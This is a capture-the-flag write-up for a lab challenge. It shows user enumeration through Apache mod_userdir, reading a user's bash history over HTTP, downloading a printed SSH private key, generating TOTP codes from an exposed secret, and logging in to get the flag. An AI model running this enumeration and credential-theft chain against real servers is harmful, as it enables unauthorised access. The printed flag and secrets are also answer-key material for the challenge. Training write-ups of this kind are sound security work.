Skip to content

Secure Terminal Server (3 stars, Internal Systems)

Challenge

Hi Senior Researcher,

the NREN-TCC research community uses a secure terminal server for running experiments and accessing computational resources. The terminal server has recently acquired a new feature, currently still in testing and not yet announced to its users: every scientist can now publish a personal homepage directly from their home directory.

It sounds convenient. Perhaps even dangerous. Take a closer look and see what can go wrong.

Stay curious!

The server sits on home.nren.tcc

Flag format: Flag{xxxx-xxxx-xxxx-xxxx}

Flag

FLAG{qPb2-qVV8-WwkZ-Kq7G}

Infrastructure

  • Target: home.nren.tcc (10.99.26.60)
  • Port 22: OpenSSH 10.0p2 Debian 7+deb13u4 (publickey + keyboard-interactive auth)
  • Port 80: Apache httpd 2.4.68 (Debian) with mod_userdir

Solution

Step 1: Reconnaissance

Nmap full port scan reveals two services:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.68 ((Debian))

The web server shows a static "Secure Terminal Server" page. The challenge hints at Apache mod_userdir — a feature that serves files from user home directories via ~username/ URLs.

Step 2: User Enumeration via mod_userdir

Requesting http://home.nren.tcc/~username/ always returns 403 (directory listing disabled). However, requesting a specific file reveals a difference:

  • ~username/index.html → 403 = user does not exist or has no home directory
  • ~username/index.html → 404 = user exists and has an active home directory
curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~john/index.html"
# 404 — user exists

curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~nonexistent/index.html"
# 403 — no such user

Using this technique with the dirb names wordlist (lowercased):

tr '[:upper:]' '[:lower:]' < /usr/share/dirb/wordlists/others/names.txt | sort -u | while IFS= read -r user; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~${user}/index.html")
  if [ "$code" = "404" ]; then
    echo "FOUND: $user"
  fi
done

Found users: david, john, karen, peter, tom

Step 3: Discovering the Misconfiguration

The key vulnerability: mod_userdir is configured to serve the entire home directory, not just ~/public_html/. Standard dotfiles like .bash_history, .bashrc, and .profile are all accessible via HTTP:

curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~karen/.bash_history"
# 200

Step 4: Extracting Sensitive Data from Karen's Bash History

curl -s "http://home.nren.tcc/~karen/.bash_history"

Output:

uname -a
cd ~
sudo apt-get install -y libpam-google-authenticator qrencode
google-authenticator -t -d -f -r 3 -R 30 -w 3
qrencode -o qr.png 'otpauth://totp/karen@nren-2fa?secret=7PCPRMSL2IMTH3KS&issuer=nren'
ssh-keygen -t ed25519 -N '' -f ~/id_ed25519 -C 'karen@nren-deploy'
cat ~/id_ed25519.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh -i ~/id_ed25519 karen@localhost
sudo systemctl restart ssh
rm -f qr.png
history -w

Two critical secrets exposed: 1. TOTP secret: 7PCPRMSL2IMTH3KS (Google Authenticator 2FA) 2. SSH private key saved to ~/id_ed25519 (home root, not ~/.ssh/) — and never deleted

Step 5: Downloading the SSH Private Key

The .ssh/ directory returns 403 (Apache blocks it), but the key was generated to ~/id_ed25519 — directly in the home root:

curl -s "http://home.nren.tcc/~karen/id_ed25519"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAMtFn+qLHZT72VUK3L463ZkFpKhRR9DrrGBpmrLt62sgAAAJip7xfeqe8X
3gAAAAtzc2gtZWQyNTUxOQAAACAMtFn+qLHZT72VUK3L463ZkFpKhRR9DrrGBpmrLt62sg
AAAEDwgnxU6GJecdO65FeHAf6GiDrBHR4VFGtqguHIQ/4DRQy0Wf6osdlPvZVQrcvjrdmQ
WkqFFH0OusYGmasu3rayAAAAEWthcmVuQG5yZW4tZGVwbG95AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Step 6: Generating TOTP and SSH Login

SSH requires publickey + keyboard-interactive (TOTP 2FA). Generate the TOTP code from the exposed secret:

import hmac, struct, time, hashlib, base64
secret = base64.b32decode('7PCPRMSL2IMTH3KS')
counter = int(time.time()) // 30
msg = struct.pack('>Q', counter)
h = hmac.new(secret, msg, hashlib.sha1).digest()
o = h[-1] & 0xf
code = (struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f'{code:06d}')

Automate SSH login with pexpect to handle the 2FA prompt:

import pexpect
child = pexpect.spawn('ssh -i karen_key karen@home.nren.tcc')
child.expect('Verification code:')
child.sendline(totp_code)

Output on successful login:

  [ NREN 2FA gateway ] authentication successful

FLAG{qPb2-qVV8-WwkZ-Kq7G}

Attack Chain Summary

  1. mod_userdir misconfiguration — serves entire home directory instead of ~/public_html/
  2. User enumeration — 403/404 response differentiation on ~user/index.html
  3. Bash history exposure — reveals TOTP secret and SSH key generation commands
  4. SSH key left in home root — ~/id_ed25519 downloadable via HTTP (.ssh/ was blocked, but home root wasn't)
  5. TOTP secret in plaintext — enables generating valid 2FA codes
  6. SSH with stolen key + TOTP — full authentication bypass, flag printed on login